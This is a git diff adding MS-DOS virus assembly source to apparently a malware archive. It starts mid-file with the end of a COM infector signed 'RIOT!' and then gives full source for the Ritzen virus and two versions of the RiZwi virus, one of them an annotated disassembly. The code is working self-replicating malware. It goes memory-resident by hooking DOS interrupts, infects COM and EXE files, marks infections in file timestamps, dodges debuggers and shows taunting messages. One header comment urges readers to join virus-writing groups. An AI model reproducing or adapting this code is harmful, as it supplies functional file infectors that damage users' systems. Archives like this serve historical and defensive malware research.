ax,'ZM' ; exit if EXE + je close_exit_infect + cmp word ptr endvirus+2,9753h ; exit if already + je close_exit_infect ; infected + mov al,2 ; go to end of file + call move_file_pointer + cmp ax,0FEB0h ; exit if too large + ja close_exit_infect + cmp ax,1F4h ; or too small for + jb close_exit_infect ; infection + mov endfile,ax ; save file size + call write + mov al,0 ; go to start of file + call move_file_pointer + mov dx,100h ; write virus + call write +close_exit_infect: + mov ah,3Eh ; Close file + int 91h +exit_infect: + retn + +move_file_pointer: + push dx + xor cx,cx + xor dx,dx + mov ah,42h + int 91h + pop dx + retn + +write: + mov ah,40h + mov cx,100h + int 91h + retn + + db ' RIOT!' ; Revolution In Our Time! +endvirus: + int 20h ; original COM file + end start + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.ritzen.asm b/MSDOS/Virus.MSDOS.Unknown.ritzen.asm new file mode 100644 index 00000000..a989c53b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ritzen.asm @@ -0,0 +1,495 @@ +;***************************************************************************** +;* * +;* The Ritzen Virus * +;* * +;* (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT * +;* * +;***************************************************************************** + + .model tiny + .radix 16 + .code + +len equ offset last - atlantic +len_para equ len /10h + +mem_size equ 60h + + org 100h + + +dummy: db 0e9h,00h,00h ; dummy file, + ; contains jump to + ; virus code. + +atlantic: call get_ip + sub bp,offset atlantic+3 + +rest_host: push ds + pop ax + mov cs:[segm+bp],ax + cmp cs:[type_host+bp],'E' ; check if host + je fix_exe ; is COM or EXE. + +fix_com: lea si,cs:[com_start+bp] ; fix start of + mov ax,es + inc ax + mov es,ax + mov di,00F0h ; com host with + mov cx,03h ; original data. + rep movsb + + mov ax,es + dec ax + mov es,ax + + mov ax,0100h ; IP start at 0100h. + push cs ; store segment+IP + push ax ; on stack. + jmp chk_resident + +fix_exe: mov ax,cs:[exe_cs+bp] ; CS and IP on stack + mov bx,ax + mov ax,ds + add ax,bx + add ax,10h + push ax + mov bx,cs:[exe_ip+bp] + push bx + +chk_resident: mov dx,0aaaah + mov ax,3000h + int 21h + cmp dx,0bbbbh + je end_install + +mem_install: push ds ; let DS points + push ds + pop ax ; to MCB + dec ax ; 2 times to fool + dec ax ; heuristic scanners + push ax + pop ds + cmp byte ptr ds:[0010],5ah ; last MCB? + jne abort_install ; if no, quit. + + mov ax,ds:[0013] ; adjust memory + sub ax,mem_size ; size. + mov ds:[0013],ax ; store size in MCB. + + pop ds ; restore original + ; DS segment. + + sub word ptr ds:[0002],mem_size ; don't forget to + ; adjust memory + ; size stored in + ; PSP to. + +vir_install: xchg ax,bx ; install virus + mov ax,es + add ax,bx ; AX = virussegment + mov es,ax + mov cs:[vir_seg+bp],ax + + push cs + pop ds + + lea si,[atlantic+bp] ; copy virus to + lea di,es:0103h ; memory + mov cx,len +copy: movsb + dec cx + jnz copy + + push ds + pop es + +hook_i21h: cli + mov ax,3521h + int 21h + + mov ds,cs:[vir_seg+bp] + mov [i21h],bx + mov [i21h+2],es + +; mov dx, offset ds:[mine_i21h] +; mov ax,2521h +; int 21h + + mov ax,ds + mov bx,ax + mov dx, offset ds:[mine_i21h] + xor ax,ax + mov ds,ax + mov ds:[4*21h],dx + mov ds:[4*21h+2],bx + + sti + + +abort_install: mov ax,cs:[segm+bp] + push ax + pop es + push es + pop ds + +end_install: retf + +;************************************************************************* +;* * +;* I N T E R U P T H A N D L E R * +;* * +;************************************************************************* + +mine_i24h: mov al,03h + iret + +mine_i21h: pushf ; check for + cmp ax,3000h ; virus ID + jne new_21h + cmp dx,0aaaah + jne new_21h + mov dx,0bbbbh ; return ID + popf + iret + + +new_21h: push ax ; save registers + push bx + push cx + push dx + push ds + push es + push di + push si + +chk_open: xchg ax,bx + cmp bh,3dh ; open file? + je chk_com + +chk_exec: cmp bx,04b00h ; execute file? + je chk_com + +continu: pop si ; restore registers + pop di + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + +next: popf ; call original + jmp dword ptr cs:[i21h] ; interupt + +;************************************************************************** +;* * +;* C H E C K C O M / E X E F I L E * +;* * +;************************************************************************** + + +chk_com: mov cs:[name_seg],ds + mov cs:[name_off],dx + cld + + mov cx,0ffh + push ds + pop es + push dx + pop di + mov al,'.' + repne scasb + cmp word ptr es:[di],'OC' + jne chk_exe + cmp word ptr es:[di+2],'M' + jne continu + jmp infect_com + + + +chk_exe: cmp word ptr es:[di],'XE' + jne continu + cmp word ptr es:[di+2],'E' + jne continu + jmp infect_exe + + + +;************************************************************************** +;* * +;* I N F E C T C O M - F I L E * +;* * +;************************************************************************** + +infect_com: call init + cmp cs:[fout],0ffh + je close_file + + mov cs:[type_host],'C' + + mov ax,4200h ; go to start of file + call mov_point + + mov cx,03h + mov ah,3fh + lea dx,cs:[com_start] + call do_int21h + + mov ax,4200h + call mov_point + mov ax,4202h + call mov_point + + sub ax,03h + mov cs:[lenght_file],ax + + call write_jmp + call write_vir + + call save_date + +close_file: mov bx,cs:[handle] + mov ah,3eh + call do_int21h + +restore_int24h: mov dx,cs:[i24h] + mov ds,cs:[i24h+2] + mov ax,2524h + call do_int21h + + jmp continu + +;************************************************************************** +;* * +;* I N F E C T E X E - F I L E * +;* * +;************************************************************************** + +infect_exe: call init + cmp cs:[fout],0ffh + je close_file + mov cs:[type_host],'E' + + mov ax,4200h + call mov_point + mov ah,3fh + mov cx,18h + lea dx,[head_exe] + call do_int21h + + call inf_exe + + call save_date + jmp close_file + + +;************************************************************************** +;* * +;* R O U T I N E S * +;* * +;************************************************************************** + +get_ip: push sp ; get ip from stack + pop bx + mov ax, word ptr cs:[bx] + mov bp,ax + ret + +init: mov cs:[fout],00h + + call int24h + call open_file + jc error + call set_atributes + call get_date + call chk_infect + je error + ret + +error: mov cs:[fout],0ffh + ret + + +int24h: push cs + pop ds + mov ax,3524h + call do_int21h + mov cs:[i24h],bx + mov cs:[i24h+2],es + mov dx, offset mine_i24h + mov ax,2524h + call do_int21h + ret + +mov_point: push cs + pop ds + mov bx,cs:[handle] + xor cx,cx + xor dx,dx + call do_int21h + ret + +open_file: mov ds,cs:[name_seg] + mov dx,cs:[name_off] + mov ax,3d02h + call do_int21h + + mov cs:[handle],ax + mov bx,ax + ret + +set_atributes: mov ax,4200h + mov ds,cs:[name_seg] + mov dx,cs:[name_off] + call do_int21h + and cl,0feh + mov ax,4301h + call do_int21h + ret + +get_date: mov bx,cs:[handle] + mov ax,5700h + call do_int21h + mov cs:[date],dx + mov cs:[time],cx + ret + +chk_infect: push cs + pop ds + mov ax,4202h + xor cx,cx + sub cx,01h + xor dx,dx + sub dx,02h + mov bx,cs:[handle] + call do_int21h + + mov ah,3fh + mov cx,02h + lea dx,cs:[file_id] + call do_int21h + + mov al, byte ptr cs:[file_id] + mov ah, byte ptr cs:[file_id]+1 + cmp ax,[virus_id] + ret + +write_jmp: push cs + pop ds + mov ax,4200h + call mov_point + mov ah,40h + mov cx,01h + lea dx,cs:[jump] + call do_int21h + + mov ah,40h + mov cx,02h + lea dx,cs:[lenght_file] + call do_int21h + ret + +write_vir: push cs + pop ds + mov ax,4202h + call mov_point + mov ah,40h + mov cx,len + mov dx,103h + call do_int21h + ret + +save_date: mov ax,5700h + call do_int21h + mov cs:[date],dx + mov cs:[time],cx + ret + +inf_exe: mov ax,word ptr cs:[head_exe+14h] + mov cs:[exe_ip],ax + mov ax, word ptr cs:[head_exe+16h] + mov cs:[exe_cs],ax + + mov ax,4200h + call mov_point + mov ax,4202h + call mov_point + mov bx,10h + div bx + sub ax, word ptr cs:[head_exe+08h] + mov cs:[new_cs],ax + mov cs:[new_ip],dx + + call write_vir + + mov ax,4200h + call mov_point + mov ax,4202h + call mov_point + mov bx,0200h + div bx + cmp dx,0000h + jne not_zero + jmp zero +not_zero: inc ax +zero: mov word ptr cs:[head_exe+02h],dx + mov word ptr cs:[head_exe+04h],ax + mov ax,cs:[new_ip] + mov word ptr cs:[head_exe+14h],ax + mov ax,cs:[new_cs] + mov word ptr cs:[head_exe+16h],ax + mov word ptr cs:[head_exe+0Eh],ax + add word ptr cs:[head_exe+10],len_para + +; mov word ptr cs:[head_exe+10],1000 + + mov ax,4200h + call mov_point + + mov ah,40h + mov bx,cs:[handle] + mov cx,18h + lea dx,cs:[head_exe] + + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[i21h] + ret + +;**************************************************************************** +;* * +;* D A T A * +;* * +;**************************************************************************** + +type_host db 'C' +com_start db 0cdh,20h,90h +message db " Dedicated to Ritzen, our Minister of Education and Science." + db " We are getting sick of your budget cuts so we hope that" + db " you get sick of this virus.." + db " (c) '93 by S.A.R. / TridenT ." +exe_cs dw ? +exe_ip dw ? +new_cs dw ? +new_ip dw ? +vir_seg dw ? +i21h dw 00h,00h +i24h dw 00h,00h +name_seg dw ? +name_off dw ? +lenght_file dw ? +head_exe db 18 dup (?) +handle dw ? +fout db ? +file_id dw ? +jump db 0e9h +date dw ? +time dw ? +segm dw ? +virus_id dw "AP" +last dw "AP" + + end dummy diff --git a/MSDOS/Virus.MSDOS.Unknown.rizwi.a86 b/MSDOS/Virus.MSDOS.Unknown.rizwi.a86 new file mode 100644 index 00000000..f8b8066d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rizwi.a86 @@ -0,0 +1,256 @@ +; +; RiZwi Virus by John Tardy / Trident V1.1 +; +; This is a tom-resident .com infector, including command.com. it attaches +; itself at the eof. when the generation counter is between 200 and 240, a +; timer counter will be started. when it reached 5000 hex ticks, it will +; display a message with black chars and a red background in the upper corner. +; The message says an important fact of Righard Zwienenberg, who is known in +; The Netherlands as a anti-virus researcher. In fact, he did release a virus, +; named "DUTCH-555". I know he did it accidentally, but you should do it. You +; have to be on just one side, virus or antivirus. If you can't choose, then +; stop with computing. If you choose, I hope you choose our side. It has more +; possibilities and with your capabilities your virii could be well-known +; (look at the VSUM for your ratings). Maybe you even choose to be part of +; [NUkE] or Phalcon/Skism or even Trident. +; +; This is a bug-fix of V1.0, which kept the original interupt in the main +; program, thus simply hanging. This one has also a little debugger trap. + + Org 100h + +Prg: Call On1 +On1: Pop Bp + Sub Bp,On1 + Mov Ah,30h + Int 21h + Cmp Bx,'BC' + Je Tooz + + Mov Ah,2ah + Int 21h + In Al,21h + Cmp Cx,1993 + Ja MakeRes + Cmp Dh,4 + Ja MakeRes +Tooz: Jmp DoCom + +MakeRes: Or Al,02h + Push Ax + Mov Ax,351ch + Int 21h + Mov Word Ptr Cs:Old1c[0][Bp],Bx + Mov Word Ptr Cs:Old1c[2][Bp],es + Pop Ax + Out 21h,Al +CutIt: Mov Ax,3521h + Int 21h + Mov Word Ptr Cs:Old21[0][Bp],Bx + Mov Word Ptr Cs:Old21[2][Bp],Es + In Al,21h + And Al,2 + Push Ax + Mov Ax,Cs + Dec Ax + Mov Ds,Ax + Cmp Byte Ptr Ds:[0],'Z' + Jne DoCom + Sub Word Ptr Ds:[3],PrgPar + Sub Word Ptr Ds:[12h],PrgPar + Lea Si,Prg[Bp] + Mov Di,100h + Pop Ax + Cmp Al,2 + Jne CutIt + Mov Ax,Word Ptr Ds:[12h] + Sub Ax,10h + Mov Es,Ax + Mov Cx,PrgLen + Push Cs + Pop Ds + Rep Movsb + In Al,21h + Xor Al,2 + Mov Ds,Es + Out 21h,Al + Mov Ax,251ch + Lea Dx,New1c + Int 21h + Mov Ax,2521h + Lea Dx,New21 + Int 21h +DoCom: Push Cs + Pop Ds + Mov Es,Ds + Mov Di,100h + Push Di + Lea Si,OrgPrg[Bp] + Movsw + Movsb + Ret + +OrgPrg DB 0CDh,020h + DB '¯' + + Db '[TridenT]' + +Dos: Pushf + Call Dword Ptr Cs:[Old21] + Ret + + Db '{V1.1 Bugfix}' + +Old21 DD 0 +New21: Cmp Ax,4b00h + Je Exec + Cmp Ah,30h + Jne EOI + Call Dos + Mov Bx,'BC' + Iret + +EOI: Jmp Dword Ptr Cs:[Old21] + +Exec: Push Ax + Push Bx + Push Cx + Push Dx + Push Si + Push Di + Push Ds + Push Es + Push Bp + Push Ds + Push Dx + Mov Ax,4300h + Call Dos + Mov FAttr,Cx + Xor Cx,Cx + Mov Ax,4301h + Call Dos + Mov Ax,3d02h + Call Dos + Mov FHandle,Ax + Xchg Ax,Bx + Mov Ax,5700h + Call Dos + Mov Word Ptr Cs:[FTime],Cx + Mov Word Ptr Cs:[FDate],Dx + And Cx,1fh + Cmp Cx,1fh + Jne DoMore +Close: Mov Ah,3eh + Call Dos + Pop Dx + Pop Ds + Mov Cx,FAttr + Mov Ax,4301h + Call Dos + Jmp ShutDown +DoMore: Mov Ah,3fh + Push Cs + Pop Ds + Lea Dx,OrgPrg + Mov Cx,3 + Call Dos + Cmp Word Ptr Cs:[OrgPrg],'MZ' + Je Close + Cmp Word Ptr Cs:[OrgPrg],'ZM' + Je Close + Mov Ax,4202h + Xor Cx,Cx + Xor Dx,Dx + Call Dos + Sub Ax,3 + Mov Jump,Ax + Mov Ah,40h + Lea Dx,Prg + Mov Cx,PrgLen + Call Dos + Mov Ax,4200h + Xor Cx,Cx + Xor Dx,Dx + Call Dos + Mov Ah,40h + Lea Dx,Start + Mov Cx,3 + Call Dos + Mov Ax,5701h + Mov Cx,FTime + Mov Dx,FDate + Or Cx,1fh + Call Dos + Inc Byte Ptr Cs:[FileCount] + Jmp Close + +ShutDown: Pop Bp + Pop Es + Pop Ds + Pop Di + Pop Si + Pop Dx + Pop Cx + Pop Bx + Pop Ax + Jmp EOI + +Old1c DD 0 + +New1c: pushf + push ax + push cx + push si + push di + push ds + push es + Cmp Byte Ptr Cs:[FileCount],200 + Jb EOI16 + Cmp Byte Ptr Cs:[FileCount],240 + Ja EOI16 + + Cmp Word Ptr Cs:[ActCount],5000h + Je Activate + Inc Word Ptr Cs:[ActCount] + Jmp EOI16 + +Activate: + Mov Ds,Cs + Mov Ax,0b800h + + Mov Es,Ax + Lea Si,ScrMsg + Mov Di,160 + Sub Di,ScrLen + + Mov Cx,ScrLen + Rep MovSb + +EOI16: pop es + pop ds + pop di + pop si + pop cx + pop ax + popf + iret + +ScrMsg Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O' +ScrLen Equ $-ScrMsg + +FileCount Db 0 +ActCount Dw 0 +Start Db 0e9h +Jump Dw 0 +FAttr Dw 0 +FHandle Dw 0 +FDate Dw 0 +FTime Dw 0 + +PrgLen Equ $-Prg +PrgPar Equ (PrgLen+0fh)/16 + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.rizwi.asm b/MSDOS/Virus.MSDOS.Unknown.rizwi.asm new file mode 100644 index 00000000..755d1444 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rizwi.asm @@ -0,0 +1,297 @@ +;Rizwi Virus from the TridenT research group. +;Memory resident .COM infector. + +;This virus is only active after the spring of 1994. +;When active, it infects .COM files on execution, and keeps +;track of the number of files that it has infected. While it has +;infected between 0C8h and 0f0h files, it displays the message +;that " Righard Zwienenberg made the DUTCH-555 virus!!! " on +;the screen. + +;This virus has some anti-debugging code, as it masks the keyboard +;interrupt and checks to see if it remaines masked, so when debugging +;through it one must jump over these sections of code (In/Out port 21h +;and the checking of ax accompanying them). + +;Disassembly by Black Wolf + +.model tiny +.code + + org 100h + +start: + call Get_Offset +Get_Offset: + pop bp + sub bp,offset Get_Offset + + mov ah,30h + int 21h ;Get Dos version/Install Check + + cmp bx,4243h + je DoneInstall ;Already Installed + + mov ah,2Ah + int 21h ;Get date + + in al,21h ;Read interrupt masks... + + cmp cx,1993 ;Is year later than 1993? + ja GoMemRes ;If not, exit. + + cmp dh,4 + ja GoMemRes ;Is month < May, exit. +DoneInstall: + db 0e9h,74h,0 ;jmp ReturnToHost + +GoMemRes: + or al,2 + push ax + mov ax,351Ch + int 21h ;Get timer interrupt + + mov cs:[Int1cIP+bp],bx + mov cs:[Int1cCS+bp],es + + pop ax + out 21h,al ;Interrupt - disable keyboard? + +SetInterrupts: + mov ax,3521h + int 21h ;Get int 21 address + + mov word ptr cs:[OldInt21+bp],bx + mov word ptr cs:[OldInt21+2+bp],es + in al,21h + and al,2 + push ax + + mov ax,cs + dec ax + mov ds,ax ;Set DS = MCB + cmp byte ptr ds:0,'Z' ;Are we at the end of the + jne ReturnToHost ;memory chain? + + ;sub word ptr ds:[3],27h ;Decrease MCB size + db 81h,2eh,03,0,27h,0 + + ;sub word ptr ds:[12h],27h ;Decrease PSP top of memory + db 81h,2eh,12h,0,27h,0 + + lea si,[bp+100h] ;SI = beginning of virus + mov di,100h ;DI = new offset (100h) + + pop ax + cmp al,2 ;Did someone skip interrupt + jne SetInterrupts ;disabling code? If so, + ;loop them back to redo + ;interrupt setting. + + + mov ax,ds:[12h] ;Get free segment + sub ax,10h ;Subtract 10h to account for + mov es,ax ; offset of 100h + mov cx,263h + push cs + pop ds + rep movsb ;Copy virus into memory + in al,21h + xor al,2 + push es + pop ds + out 21h,al ;Do the keyboard int again... + + mov ax,251Ch + mov dx,offset Int1cHandler + int 21h ;Set int 1ch + + + mov ax,2521h + mov dx,offset Int21Handler + int 21h ;Set int 21h + +ReturnToHost: + push cs ;Restore Seg regs + pop ds + push ds + pop es + mov di,100h + push di + lea si,[bp+Storage_Bytes] ;Storage bytes + movsw + movsb ;Restore host + ret + + +Storage_Bytes: + int 20h + popf + +TridenT_ID db '[TridenT]' + +FakeInt21h: + pushf + call dword ptr cs:OldInt21 ;Fake Interrupt 21h + retn + + +VirusVersion db '{V1.1 Bugfix}' + +OldInt21 dw 0, 0 + +Int21Handler: + cmp ax,4b00h + je IsExecute + cmp ah,30h + jnz ExitInt21 + call FakeInt21h + mov bx,4243h + iret + +ExitInt21: + jmp dword ptr cs:OldInt21 + +IsExecute: + push ax bx cx dx si di ds es bp ds dx + + mov ax,4300h + call FakeInt21h ;Get attributes + + mov FileAttribs,cx ;Save them + xor cx,cx + mov ax,4301h ;Reset Attributes + call FakeInt21h + + mov ax,3D02h ;Open file + call FakeInt21h + + mov Filehandle,ax + xchg ax,bx + mov ax,5700h + call FakeInt21h ;Get file date/time + mov cs:[FileTime],cx ; and save them + mov cs:[FileDate],dx + and cx,1Fh + cmp cx,1Fh ;Check infection in time stamp + jne Infect_File + + +CloseFile: + mov ah,3Eh + call FakeInt21h + + pop dx ;Pop filename address + pop ds + mov cx,FileAttribs + mov ax,4301h + call FakeInt21h ;Reset Attributes + + db 0e9h, 67h, 0 ;jmp DoneInfect + +Infect_File: + mov ah,3Fh + push cs + pop ds + mov dx,offset Storage_Bytes + mov cx,3 + call FakeInt21h ;Read in first 3 bytes + + cmp word ptr cs:[Storage_Bytes],4D5Ah ;Is EXE? + je CloseFile + cmp word ptr cs:[Storage_Bytes],5A4Dh ;Is alternate EXE? + je CloseFile + + mov ax,4202h + xor cx,cx + xor dx,dx + call FakeInt21h ;Go to the end of file + + sub ax,3 ;adjust size for jump + mov word ptr [JumpSize],ax ;save jump size + + mov ah,40h + mov dx,100h + mov cx,263h + call FakeInt21h ;Append Virus to host + + mov ax,4200h + xor cx,cx + xor dx,dx ;Go to beginning + call FakeInt21h ;of host file. + + mov ah,40h + mov dx,358h + mov cx,3 + call FakeInt21h ;Write Jump bytes + + mov ax,5701h + mov cx,[FileTime] + mov dx,[FileDate] + or cx,1Fh ;Mark infection in time stamp + call FakeInt21h ;Restore time/date + + inc byte ptr cs:[Counter] ;Activation counter... + jmp short CloseFile + +DoneInfect: + pop bp es ds di si dx cx bx ax + jmp ExitInt21 + +Int1cIP dw 0 +Int1cCS dw 0 + +Int1cHandler: ;While infections are between C8h and F0h, + ;Stick message on screen every once in a while. + pushf + push ax cx si di ds es + cmp byte ptr cs:[Counter],0C8h + jb ExitInt1c + cmp byte ptr cs:[Counter],0F0h + ja ExitInt1c + cmp word ptr cs:[TimerCount],5000h + je WriteMessageToScreen + inc word ptr cs:[TimerCount] + + db 0e9h,16h,0 ;jmp ExitInt1c + +WriteMessageToScreen: + push cs + pop ds + mov ax,0B800h ;Text Screen memory + mov es,ax + mov si,offset Message + mov di,0A0h + db 81h,0efh,62h,0 ;sub di,EndMessage-Message + mov cx,EndMessage-Message + rep movsb + +ExitInt1c: + pop es ds di si cx ax + popf + iret + +;Message says " Righard Zwienenberg made the DUTCH-555 virus!!! " +;Capital O's are attribute values.... + +Message: + db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnO' + db 'bOeOrOgO OmOaOdOeO OtOhOeO ODOUO' + db 'TOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O' + db ' O' +EndMessage: + +Counter db 0 + +TimerCount dw 0 + +JumpBytes db 0E9h +JumpSize dw 0 + +FileAttribs dw 0 +Filehandle dw 0 +FileDate dw 0 +FileTime dw 0 + +end start +